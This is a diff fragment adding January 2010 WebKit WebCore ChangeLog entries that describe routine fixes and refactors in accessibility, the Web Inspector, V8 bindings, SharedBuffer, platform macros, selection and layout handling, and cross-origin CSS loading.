+        Change the behavior to be more like Xcode, left click adds a breakpoint if there isn't one, and
+        removes it if there is one.
+        
+        On the context menu, if there is no breakpoint there, we have Add Breakpoint, and Add Conditional
+        Breakpoint. If there is a breakpoint there, we add entries for Edit Breakpoint (edit
+        the condition), Remove Breakpoint, and Enable/Disable Breakpoint (based on the current state).
+
+        * English.lproj/localizedStrings.js: Added localized context menu entries.
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._documentContextMenu.addAndEditBreakpoint):
+        (WebInspector.SourceFrame.prototype._documentContextMenu): Added context menu entries and handlers.
+        (WebInspector.SourceFrame.prototype._documentMouseDown): Changed left click behavior (Add -> Remove).
+
+2010-01-05  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        AX: need a way to get the progress of a webpage load
+        https://bugs.webkit.org/show_bug.cgi?id=33221
+
+        Test: platform/mac/accessibility/estimated-progress.html
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::estimatedLoadingProgress):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::estimatedLoadingProgress):
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper accessibilityAttributeNames]):
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
+
+2010-01-05  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Drag & drop layout tests fail even when run manually
+        https://bugs.webkit.org/show_bug.cgi?id=33055
+
+        No new tests. Fix 3 layout tests when run manually.
+        fast/events/drag-and-drop.html
+        fast/events/drag-and-drop-dataTransfer-types-nocrash.html
+        fast/events/drag-and-drop-fire-drag-dragover.html
+        Running these tests in DRT will be fixed in 31332.
+
+        * page/qt/DragControllerQt.cpp:
+        (WebCore::DragController::cleanupAfterSystemDrag):
+        Cleanup the drag operation if it failed to complete,
+        Otherwise, new drag operations will not be possible.
+
+2010-01-05  Gustavo Noronha Silva <gns@gnome.org>
+
+        Reviewed by Xan Lopez.
+
+        Based on idea and original patch by Evan Martin.
+
+        Remove libWebCore intermediate library, to improve link time.
+
+        [GTK] Build time must be reduced
+        https://bugs.webkit.org/show_bug.cgi?id=32921
+
+        * GNUmakefile.am:
+
+2010-01-05  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Move allowSetting{Frame}SrcToJavascriptUrl from V8Custom to BindingSecurity and
+        remove the v8-specific pieces.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33182
+
+        * bindings/BindingSecurity.h:
+        (WebCore::::allowSettingFrameSrcToJavascriptUrl): Moved from V8CustomBinding.cpp.
+        (WebCore::::allowSettingSrcToJavascriptURL): Moved from V8CustomBinding.cpp.
+        * bindings/v8/custom/V8AttrCustom.cpp:
+        (WebCore::V8Attr::valueAccessorSetter):
+        * bindings/v8/custom/V8CustomBinding.cpp:
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8ElementCustom.cpp:
+        (WebCore::V8Element::setAttributeCallback):
+        (WebCore::V8Element::setAttributeNodeCallback):
+        (WebCore::V8Element::setAttributeNSCallback):
+        (WebCore::V8Element::setAttributeNodeNSCallback):
+        * bindings/v8/custom/V8HTMLFrameElementCustom.cpp:
+        (WebCore::V8HTMLFrameElement::srcAccessorSetter):
+        (WebCore::V8HTMLFrameElement::locationAccessorSetter):
+        * bindings/v8/custom/V8HTMLIFrameElementCustom.cpp:
+        (WebCore::V8HTMLIFrameElement::srcAccessorSetter):
+
+2010-01-05  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Separate DOMWrapperWorld from V8IsolatedWorld
+        https://bugs.webkit.org/show_bug.cgi?id=33087
+
+        This change separate DOMWrapperWorld and IsolatedWorld from
+        V8IsolatedWorld.  I've also renamed V8IsolatedWorld to
+        V8IsolatedContext in preparation for having more than one context in a
+        single isolated world.
+
+        This patch moves us closer to two goals:
+        1) Matching the structure of the JSC implementation of isolated worlds.
+        2) Letting scripts running in isolated contexts see into other iframes
+           (which requires having more than one context in an isolated world.)
+
+        * WebCore.gypi:
+        * bindings/v8/DOMWrapperWorld.cpp: Added.
+        (WebCore::DOMWrapperWorld::DOMWrapperWorld):
+        (WebCore::mainThreadNormalWorld):
+        * bindings/v8/DOMWrapperWorld.h: Added.
+        (WebCore::DOMWrapperWorld::create):
+        * bindings/v8/IsolatedWorld.cpp: Added.
+        (WebCore::IsolatedWorld::IsolatedWorld):
+        (WebCore::IsolatedWorld::~IsolatedWorld):
+        * bindings/v8/IsolatedWorld.h: Added.
+        (WebCore::IsolatedWorld::create):
+        (WebCore::IsolatedWorld::count):
+        (WebCore::IsolatedWorld::domDataStore):
+        * bindings/v8/MainThreadDOMData.cpp:
+        (WebCore::MainThreadDOMData::getMainThreadStore):
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::currentScriptState):
+        * bindings/v8/ScriptState.cpp:
+        * bindings/v8/ScriptState.h:
+        * bindings/v8/V8DOMWindowShell.cpp:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::instantiateV8Object):
+        * bindings/v8/V8IsolatedContext.cpp: Copied from WebCore/bindings/v8/V8IsolatedWorld.cpp.
+        (WebCore::V8IsolatedContext::contextWeakReferenceCallback):
+        (WebCore::V8IsolatedContext::V8IsolatedContext):
+        (WebCore::V8IsolatedContext::destroy):
+        (WebCore::V8IsolatedContext::~V8IsolatedContext):
+        (WebCore::V8IsolatedContext::scriptState):
+        * bindings/v8/V8IsolatedContext.h: Copied from WebCore/bindings/v8/V8IsolatedWorld.h.
+        (WebCore::V8IsolatedContext::getEntered):
+        (WebCore::V8IsolatedContext::world):
+        * bindings/v8/V8IsolatedWorld.cpp: Removed.
+        * bindings/v8/V8IsolatedWorld.h: Removed.
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::evaluateInIsolatedWorld):
+        (WebCore::V8Proxy::context):
+        * bindings/v8/V8Proxy.h:
+        * bindings/v8/WorldContextHandle.cpp:
+        (WebCore::WorldContextHandle::WorldContextHandle):
+
+2010-01-05  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Move createWindow into generic bindings so it can be shared with JSC
+        https://bugs.webkit.org/show_bug.cgi?id=33201
+
+        This patch moves createWindow from V8-specific code into the generic
+        bindings so that is can be re-used by the JavaScriptCore bindings.  I
+        haven't actually moved the JSC bindings over to using this yet.
+
+        Also, I organized the generic bindings a bit more as it's becoming
+        clearer how things are going to shape up.  There are still some
+        question marks, but hopefully the answers will become clear as we
+        progress.
+
+        * WebCore.gyp/WebCore.gyp:
+        * WebCore.gypi:
+        * bindings/generic/BindingDOMWindow.h: Added.
+        (WebCore::::createWindow):
+        * bindings/generic/BindingSecurity.h: Renamed from WebCore/bindings/BindingSecurity.h.
+        (WebCore::BindingSecurity::BindingSecurity):
+        (WebCore::::canAccessWindow):
+        (WebCore::::canAccessFrame):
+        (WebCore::::checkNodeSecurity):
+        * bindings/generic/BindingSecurityBase.cpp: Renamed from WebCore/bindings/BindingSecurityBase.cpp.
+        (WebCore::BindingSecurityBase::getDOMWindow):
+        (WebCore::BindingSecurityBase::getFrame):
+        (WebCore::BindingSecurityBase::canAccess):
+        * bindings/generic/BindingSecurityBase.h: Renamed from WebCore/bindings/BindingSecurityBase.h.
+        * bindings/generic/GenericBinding.h: Renamed from WebCore/bindings/GenericBinding.h.
+        (WebCore::):
+        * bindings/v8/V8Binding.h:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8DOMWindow::showModalDialogCallback):
+        (WebCore::V8DOMWindow::openCallback):
+        * bindings/v8/specialization/V8BindingDOMWindow.h: Added.
+        (WebCore::V8BindingDOMWindow::storeDialogArgs):
+        * bindings/v8/specialization/V8BindingState.cpp: Renamed from WebCore/bindings/v8/V8BindingState.cpp.
+        (WebCore::::Only):
+        (WebCore::::getActiveWindow):
+        (WebCore::::immediatelyReportUnsafeAccessTo):
+        * bindings/v8/specialization/V8BindingState.h: Renamed from WebCore/bindings/v8/V8BindingState.h.
+        (WebCore::):
+
+2010-01-05  Dominic Mazzoni  <dmazzoni@google.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32571
+
+        For an object with an aria role of "checkbox" or "radiobutton",
+        Use the "aria-checked" attribute to determine if it's checked.
+
+        Test: accessibility/aria-checkbox-checked.html
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::isChecked):
+
+2010-01-05  Yong Li  <yoli@rim.com>
+
+        Reviewed by Adam Roben.
+
+        Fix build warnings blindly
+        https://bugs.webkit.org/show_bug.cgi?id=33178
+
+        * platform/SharedBuffer.cpp:
+        * platform/SharedBuffer.h:
+        (WebCore::SharedBuffer::append):
+
+2010-01-05  Dan Bernstein  <mitz@apple.com>
+
+        Build fix
+
+        * platform/SharedBuffer.cpp:
+
+2010-01-05  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by Darin Adler.
+
+        Fix an obvious bug and build errors in previous commit (r52795)
+        https://bugs.webkit.org/show_bug.cgi?id=33178
+
+        * platform/SharedBuffer.h:
+        (WebCore::SharedBuffer::isEmpty):
+        * platform/cf/SharedBufferCF.cpp:
+        (WebCore::SharedBuffer::maybeTransferPlatformData):
+
+2010-01-04  Yong Li  <yoli@rim.com>
+
+        Reviewed by Darin Adler.
+
+        Let SharedBuffer use a group of memory segments internally.
+        It will merge the segments into a flat consecutive buffer only when
+        necessary.
+        https://bugs.webkit.org/show_bug.cgi?id=33178
+
+        * platform/SharedBuffer.cpp:
+        (WebCore::allocateSegment):
+        (WebCore::freeSegment):
+        (WebCore::SharedBuffer::SharedBuffer):
+        (WebCore::SharedBuffer::~SharedBuffer):
+        (WebCore::SharedBuffer::adoptVector):
+        (WebCore::SharedBuffer::size):
+        (WebCore::SharedBuffer::data):
+        (WebCore::SharedBuffer::append):
+        (WebCore::SharedBuffer::clear):
+        (WebCore::SharedBuffer::copy):
+        (WebCore::SharedBuffer::buffer):
+        (WebCore::SharedBuffer::getSomeData):
+        * platform/SharedBuffer.h:
+        * platform/cf/SharedBufferCF.cpp:
+        (WebCore::SharedBuffer::maybeTransferPlatformData):
+        * platform/haiku/SharedBufferHaiku.cpp:
+        (WebCore::SharedBuffer::createWithContentsOfFile):
+        * platform/qt/SharedBufferQt.cpp:
+        (WebCore::SharedBuffer::createWithContentsOfFile):
+        * platform/win/SharedBufferWin.cpp:
+        (WebCore::SharedBuffer::createWithContentsOfFile):
+
+2010-01-05  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Unreviewed trivial Symbian build fix
+
+        * plugins/symbian/PluginViewSymbian.cpp: Add missing HostWindow.h inclusion
+
+2010-01-05  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Fix broken export macros in package builds.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33202
+
+        Always define QT_MAKEDLL unless we're doing a static
+        build or we're building inside of Qt. When building
+        inside of Qt the correct define is pulled from qbase.pri.
+
+        * WebCore.pro:
+
+2010-01-04  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Darin Fisher.
+
+        Reorganize, document and rename OS() platform macros.
+        https://bugs.webkit.org/show_bug.cgi?id=33198
+
+        Adapt to name changes. Also fixed a few incorrect OS checks.
+
+        * accessibility/AccessibilityObject.h:
+        * config.h:
+        * dom/SelectElement.cpp:
+        (WebCore::SelectElement::listBoxDefaultEventHandler):
+        * inspector/InspectorFrontendHost.cpp:
+        (WebCore::InspectorFrontendHost::platform):
+        * loader/CachedFont.cpp:
+        * loader/FTPDirectoryDocument.cpp:
+        * loader/FTPDirectoryParser.cpp:
+        * page/EventHandler.cpp:
+        * page/Frame.cpp:
+        (WebCore::Frame::setUseSecureKeyboardEntry):
+        * page/NavigatorBase.cpp:
+        (WebCore::NavigatorBase::platform):
+        * page/Page.h:
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        * page/Settings.h:
+        * page/chromium/DragControllerChromium.cpp:
+        (WebCore::DragController::isCopyKeyDown):
+        * page/chromium/EventHandlerChromium.cpp:
+        (WebCore::EventHandler::accessKeyModifiers):
+        * page/win/EventHandlerWin.cpp:
+        (WebCore::EventHandler::createDraggingClipboard):
+        * platform/FileSystem.h:
+        * platform/KeyboardCodes.h:
+        * platform/PurgeableBuffer.h:
+        * platform/chromium/ChromiumBridge.h:
+        * platform/chromium/ClipboardChromium.cpp:
+        (WebCore::ClipboardChromium::writeRange):
+        * platform/chromium/ClipboardUtilitiesChromium.cpp:
+        * platform/chromium/ClipboardUtilitiesChromium.h:
+        * platform/chromium/PasteboardChromium.cpp:
+        (WebCore::Pasteboard::writeSelection):
+        (WebCore::Pasteboard::writePlainText):
+        (WebCore::Pasteboard::documentFragment):
+        * platform/chromium/PlatformKeyboardEventChromium.cpp:
+        (WebCore::PlatformKeyboardEvent::disambiguateKeyDownEvent):
+        (WebCore::PlatformKeyboardEvent::currentCapsLockState):
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::PopupListBox::layout):
+        (WebCore::PopupMenu::show):
+        * platform/graphics/BitmapImage.h:
+        (WebCore::BitmapImage::mayFillWithSolidColor):
+        * platform/graphics/FloatPoint.h:
+        * platform/graphics/FloatRect.h:
+        * platform/graphics/FloatSize.h:
+        * platform/graphics/FontCache.cpp:
+        (WebCore::alternateFamilyName):
+        * platform/graphics/FontCache.h:
+        * platform/graphics/FontFastPath.cpp:
+        (WebCore::Font::glyphDataForCharacter):
+        * platform/graphics/GlyphBuffer.h:
+        (WebCore::GlyphBuffer::advanceAt):
+        (WebCore::GlyphBuffer::add):
+        * platform/graphics/Gradient.h:
+        * platform/graphics/GraphicsContext.cpp:
+        * platform/graphics/GraphicsContext.h:
+        * platform/graphics/GraphicsContext3D.h:
+        * platform/graphics/ImageSource.h:
+        * platform/graphics/IntRect.h:
+        * platform/graphics/MediaPlayer.cpp:
+        * platform/graphics/Path.h:
+        * platform/graphics/Pattern.h:
+        * platform/graphics/SimpleFontData.h:
+        * platform/graphics/cg/ColorCG.cpp:
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        * platform/graphics/chromium/FontCustomPlatformData.cpp:
+        (WebCore::FontCustomPlatformData::~FontCustomPlatformData):
+        (WebCore::FontCustomPlatformData::fontPlatformData):
+        (WebCore::createFontCustomPlatformData):
+        * platform/graphics/chromium/FontCustomPlatformData.h:
+        * platform/graphics/chromium/FontPlatformData.h:
+        * platform/graphics/opentype/OpenTypeUtilities.cpp:
+        * platform/graphics/opentype/OpenTypeUtilities.h:
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::getWindowsContext):
+        * platform/graphics/qt/ImageQt.cpp:
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::clipToImageBuffer):
+        * platform/graphics/skia/ImageBufferSkia.cpp:
+        (WebCore::ImageBuffer::ImageBuffer):
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (PlatformContextSkia::State::State):
+        (PlatformContextSkia::PlatformContextSkia):
+        (PlatformContextSkia::save):
+        (PlatformContextSkia::restore):
+        * platform/graphics/skia/PlatformContextSkia.h:
+        * platform/graphics/win/IconWin.cpp:
+        (WebCore::Icon::createIconForFiles):
+        (WebCore::Icon::paint):
+        * platform/graphics/wx/GraphicsContextWx.cpp:
+        * platform/gtk/FileSystemGtk.cpp:
+        (WebCore::filenameToString):
+        (WebCore::filenameFromString):
+        (WebCore::filenameForDisplay):
+        * platform/image-decoders/jpeg/JPEGImageDecoder.cpp:
+        * platform/network/curl/ResourceHandleManager.cpp:
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::):
+        * platform/text/String.cpp:
+        (WebCore::String::format):
+        (WebCore::String::number):
+        * platform/text/TextEncoding.cpp:
+        (WebCore::TextEncoding::encode):
+        * platform/text/TextEncodingRegistry.cpp:
+        (WebCore::buildBaseTextCodecMaps):
+        (WebCore::extendTextCodecMaps):
+        * platform/text/TextStream.cpp:
+        * platform/text/TextStream.h:
+        * platform/text/qt/TextCodecQt.cpp:
+        (WebCore::TextCodecQt::decode):
+        * platform/win/PlatformMouseEventWin.cpp:
+        (WebCore::messageToEventType):
+        (WebCore::PlatformMouseEvent::PlatformMouseEvent):
+        * platform/win/PlatformScreenWin.cpp:
+        (WebCore::deviceInfoForWidget):
+        (WebCore::screenIsMonochrome):
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::show):
+        (WebCore::PopupMenu::paint):
+        (WebCore::PopupMenu::registerClass):
+        (WebCore::PopupMenu::PopupMenuWndProc):
+        (WebCore::PopupMenu::wndProc):
+        * platform/win/SystemTimeWin.cpp:
+        (WebCore::userIdleTime):
+        * platform/wx/FileSystemWx.cpp:
+        (WebCore::unloadModule):
+        * plugins/PluginDatabase.cpp:
+        * plugins/PluginPackage.cpp:
+        (WebCore::PluginPackage::compareFileVersion):
+        * plugins/PluginPackage.h:
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::setFrameRect):
+        (WebCore::PluginView::stop):
+        (WebCore::PluginView::PluginView):
+        * plugins/PluginView.h:
+        * plugins/win/PluginDatabaseWin.cpp:
+        (WebCore::addWindowsMediaPlayerPluginDirectory):
+        (WebCore::addMacromediaPluginDirectories):
+        * plugins/win/PluginPackageWin.cpp:
+        (WebCore::PluginPackage::load):
+        * plugins/win/PluginViewWin.cpp:
+        (WebCore::registerPluginView):
+        (WebCore::PluginView::wndProc):
+        (WebCore::PluginView::updatePluginWidget):
+        (WebCore::PluginView::paintIntoTransformedContext):
+        (WebCore::PluginView::paintWindowedPluginIntoContext):
+        (WebCore::PluginView::paint):
+        (WebCore::PluginView::handleMouseEvent):
+        (WebCore::PluginView::setParent):
+        (WebCore::PluginView::setNPWindowRect):
+        (WebCore::PluginView::platformStart):
+
+2010-01-04  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Add ARIA "Live Region" support
+        https://bugs.webkit.org/show_bug.cgi?id=33117
+
+        Tests: platform/mac/accessibility/aria-liveregions-attributes.html
+               platform/mac/accessibility/aria-liveregions-notifications.html
+
+        * accessibility/AXObjectCache.cpp:
+        (WebCore::AXObjectCache::contentChanged):
+        * accessibility/AXObjectCache.h:
+        (WebCore::AXObjectCache::):
+        * accessibility/AccessibilityObject.cpp:
+        (WebCore::AccessibilityObject::isChildOfARIALiveRegion):
+        (WebCore::AccessibilityObject::supportsARIALiveRegion):
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::contentChanged):
+        (WebCore::AccessibilityObject::ariaLiveRegionStatus):
+        (WebCore::AccessibilityObject::ariaLiveRegionRelevant):
+        (WebCore::AccessibilityObject::ariaLiveRegionAtomic):
+        (WebCore::AccessibilityObject::ariaLiveRegionBusy):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::elementAttributeValue):
+        (WebCore::AccessibilityRenderObject::contentChanged):
+        (WebCore::AccessibilityRenderObject::childrenChanged):
+        (WebCore::AccessibilityRenderObject::ariaLiveRegionStatus):
+        (WebCore::AccessibilityRenderObject::ariaLiveRegionRelevant):
+        (WebCore::AccessibilityRenderObject::ariaLiveRegionAtomic):
+        (WebCore::AccessibilityRenderObject::ariaLiveRegionBusy):
+        * accessibility/AccessibilityRenderObject.h:
+        (WebCore::AccessibilityRenderObject::areChildrenDirty):
+        * accessibility/mac/AXObjectCacheMac.mm:
+        (WebCore::AXObjectCache::postPlatformNotification):
+        * accessibility/mac/AccessibilityObjectWrapper.h:
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper additionalAccessibilityAttributeNames]):
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
+        (-[AccessibilityObjectWrapper accessibilitySetPostedNotificationCallback:]):
+        (-[AccessibilityObjectWrapper accessibilityPostedNotification:]):
+        * dom/Element.cpp:
+        (WebCore::Element::updateAfterAttributeChanged):
+        * html/HTMLAttributeNames.in:
+        * rendering/RenderText.cpp:
+        (WebCore::RenderText::setText):
+
+2010-01-04  Chris Evans  <cevans@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Adopt a more conservative approach for loading CSS cross-origin. When
+        loading CSS cross-origin, it must be start with valid CSS if the MIME
+        type is broken.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29820
+
+        Test: http/tests/security/cross-origin-css.html
+        Test: http/tests/security/cross-origin-css-in-xml.xml
+
+        * html/HTMLLinkElement.cpp:
+        (WebCore::HTMLLinkElement::setCSSStyleSheet): Enforce stricter load
+        requirements for cross-origin loads.
+        * css/CSSImportRule.cpp:
+        (WebCore::CSSImportRule::setCSSStyleSheet): Enforce stricter load
+        requirements for cross-origin loads.
+        * css/CSSStyleSheet.h:
+        * css/CSSStyleSheet.cpp:
+        * css/CSSParser.cpp:
+        * css/CSSGrammar.y:
+        * css/CSSParser.h:
+        Add ability to tell whether the CSS parse started with a syntactically
+        valid CSS rule.
+        * loader/CachedCSSStyleSheet.h:
+        * loader/CachedCSSStyleSheet.cpp:
+        (WebCore::CachedCSSStyleSheet::sheetText): Add ability to return
+        whether the MIME type was acceptable for CSS.
+        (WebCore::CachedCSSStyleSheet::canUseSheet): If requested, return
+        whether the MIME type was valid or not.
+        * dom/ProcessingInstruction.cpp
+        (WebCore::ProcessingInstruction::setCSSStyleSheet): Make use of strict
+        mode explicit and add comment.
+
+2010-01-04  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/6655695> REGRESSION: VoiceOver is not highlighting some web elements correctly
+        <rdar://problem/7397558> REGRESSION: AXImages inside of AXLink cause AXLink to have wrong bounds
+
+        Test: accessibility/dimensions-include-descendants.html
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::boundingBoxRect): Use absoluteFocusRingQuads()
+        for non-text renderers. The focus ring encompasses descendants, which is
+        what we want for the accessibility indicator.
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::absoluteFocusRingQuads): Added.
+        * rendering/RenderObject.h:
+
+2010-01-04  Ojan Vafai  <ojan@ojanmacpro.sfo.corp.google.com>
+
+        Reviewed by Dan Bernstein.
+
+        Remove unnecessary division by a constant in SimpleFontDataMac.mm.
+        https://bugs.webkit.org/show_bug.cgi?id=33189
+
+        This was added in http://trac.webkit.org/changeset/8104 and seems like
+        it was just there to match the previously private function which we no
+        longer use.
+
+        No new tests. No change in behavior.
+
+        * platform/graphics/mac/SimpleFontDataMac.mm:
+
+2010-01-04  Darin Adler  <darin@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Selection-related code needs stricter rules about how it relates to layout
+        https://bugs.webkit.org/show_bug.cgi?id=32882
+
+        Covered by existing tests along with the new assertions.
+
+        * dom/Document.cpp:
+        (WebCore::Document::recalcStyle): Make sure that m_inStyleRecalc is
+        already false by the time post-attach callbacks are done so that
+        layout triggered inside those callbacks can work properly.
+
+        * editing/SelectionController.cpp:
+        (WebCore::SelectionController::layout): Added code to trigger a
+        layout when it's needed.
+        (WebCore::SelectionController::recomputeCaretRect): Removed unneeded
+        code to do nothing when FrameView is 0. Added an assertion that layout
+        is not needed at the time the function is called.
+        (WebCore::SelectionController::invalidateCaretRect): Added code to
+        trigger a layout when it's needed.
+        (WebCore::SelectionController::paintCaret): Added an assertion that
+        layout is not needed at the time the function is called.
+
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::shouldAutofocus): Added. Helper function that expresses
+        the rule for which form control elements should auto-focus.
+        (WebCore::focusPostAttach): Added. Called post-attach to focus an
+        element if we discover it should be focused during attach.
+        (WebCore::HTMLFormControlElement::attach): Refactored code for
+        which elements need auto-focus into a separate function. Instead
+        of focusing right away, use the focusPostAttach function to focus
+        after attach is done. Also added calls to suspendPostAttachCallbacks
+        and resumePostAttachCallbacks so post-attach callbacks happen late
+        enough. Before, they could run inside the base attach function.
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::attach): Added calls to
+        suspendPostAttachCallbacks and resumePostAttachCallbacks so
+        post-attach callbacks happen late enough
+
+        * page/Frame.cpp:
+        (WebCore::Frame::revealSelection): Added code to trigger a layout
+        when it's needed.
+
+2010-01-04  Gavin Barraclough <barraclough@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33163
+        Use WTF's string hashing functions from StringImpl.
+
+        * ForwardingHeaders/wtf/StringHashFunctions.h: Added.
+        * platform/text/StringHash.h:
+        * platform/text/StringImpl.h:
+        (WebCore::StringImpl::computeHash):
+
+2010-01-04  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        Qt build fix. Unreviewed.
+
+        * accessibility/AXObjectCache.h:
+        (WebCore::AXObjectCache::postNotification):
+
+2010-01-04  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        MSAA: <select> elements should broadcast value change events
+
+        https://bugs.webkit.org/show_bug.cgi?id=33088
+
+        <rdar://problem/7332364>
+
+        Reviewed by Darin Adler.
+
+        * accessibility/AXObjectCache.cpp:
+        (WebCore::AXObjectCache::postNotification):
+        If the post type is async, follow the old code path; otherwise, call
+        postPlatformNotification().
+
+        * accessibility/AXObjectCache.h:
+        (WebCore::AXObjectCache::):
+        Added a new accessibility notification, AXMenuListValueChanged. Added
+        a new parameter to postNotification() to specify whether the post should
+        be synchronous or asynchronous.
+
+        * accessibility/win/AXObjectCacheWin.cpp:
+        (WebCore::AXObjectCache::postPlatformNotification):
+        If the WebCore notification is AXMenuListValueChanged, broadcast an
+        EVENT_OBJECT_VALUECHANGE event.
+
+        * dom/SelectElement.cpp:
+        (WebCore::SelectElement::setSelectedIndex):
+        When the selected index of a RenderMenuList is changed, call
+        RenderMenuList::didSetSelectedIndex().
+
+        * rendering/RenderMenuList.cpp:
+        (WebCore::RenderMenuList::RenderMenuList):
+        Initialize new member
+        (WebCore::RenderMenuList::didSetSelectedIndex):
+        If the selected index has changed, post AXMenuListValueChanged to the
+        object synchronously.
+
+        * rendering/RenderMenuList.h:
+        Declare didSetSelectedIndex(), and add a member to hold the last
+        selected index.
+
+2010-01-04  Darin Adler  <darin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Added missing null check in BarInfo code.
+
+        Test: fast/dom/Window/BarInfo-after-frame-removed.html
+
+        * page/BarInfo.cpp:
+        (WebCore::BarInfo::visible): Added null check. A few other
+        cleanups.
+
+2010-01-04  Mark Rowe  <mrowe@apple.com>
+
+        Rubber-stamped by Jon Honeycutt.
+
+        Delete an empty and unused JavaScript file.
+
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/InspectorControllerStub.js: Removed.
+
+2010-01-04  Kevin Ollivier  <kevino@theolliviers.com>
+
+        [wx] Build fix, add a couple include dirs to the build.
+
+        * wscript:
+
+2010-01-04  Dan Bernstein  <mitz@apple.com>
+
+        Windows build fix
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::layout):
+
+2010-01-04  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Repaint issues in text input under a scale transform
+        https://bugs.webkit.org/show_bug.cgi?id=32086
+        
+        When doing a subtree layout we have to look up the container chain to see if there
+        are any properties, such as transforms or reflections, that mean that we are unable
+        to use layoutState.
+
+        Test: fast/repaint/subtree-layoutstate-transform.html
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::layout): Call canUseLayoutStateForSubtree() to determine
+        whether it's OK to use layoutState.
+        
+        * rendering/RenderView.h:
+        * rendering/RenderView.cpp:
+        (WebCore::RenderView::canUseLayoutStateForSubtree): New method that reports whether it's
+        OK to use layoutState when doing a subtree layout from the given root.
+
+2010-01-04  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Reentrancy problem with selection in some edge cases.
+        https://bugs.webkit.org/show_bug.cgi?id=32842
+        rdar://problem/7449974
+
+        Test: fast/forms/selection-layout-reentry-strange-case.html
+
+        Move the selection display update process done in the
+        selectionLayoutChanged function into the layout timer
+        instead of doing it immediately when selection changes occur.
+
+        * dom/Document.cpp:
+        (WebCore::Document::updateLayout): Changed this to use the
+        definition of needsLayout from FrameView rather than rolling
+        its own.
+
+        * editing/SelectionController.cpp:
+        (WebCore::SelectionController::SelectionController):
+        Initialize m_needsDisplayUpdate to false.
+        (WebCore::SelectionController::setSelection): Call
+        the new setNeedsDisplayUpdate function instead of the old
+        badly named Frame::selectionLayoutChanged function.
+        (WebCore::SelectionController::setNeedsDisplayUpdate):
+        Set m_needsDisplayUpdate. If it is just becoming true, then
+        call FrameView::scheduleRelayout.
+
+        * editing/SelectionController.h: Added setNeedsDisplayUpdate,
+        needsDisplayUpdate, and m_needsDisplayUpdate.
+
+        * page/Frame.cpp:
+        (WebCore::Frame::setCaretVisible): Call setNeedsDisplayUpdate.
+        (WebCore::Frame::selectionLayoutChanged): Call
+        setNeedsDisplayUpdate to set it to false, since this is the
+        function that performs "selection display update". Later I want
+        to rename this function. Also added a global reentrancy check
+        since that's the easiest way I could think of to prevent infinite
+        recursion in the case where recomputeCaretRect ends up triggering
+        a layout. As a side effect, fixed theoretical problems in
+        TEXT_CARET builds by improving the ifdef.
+        (WebCore::Frame::caretBlinkTimerFired): Loosen assertions a
+        bit. Later we might want to decouple caret rect from caret state
+        a bit more and add these assertions back.
+        (WebCore::Frame::selectionBounds): Call Document::updateLayout.
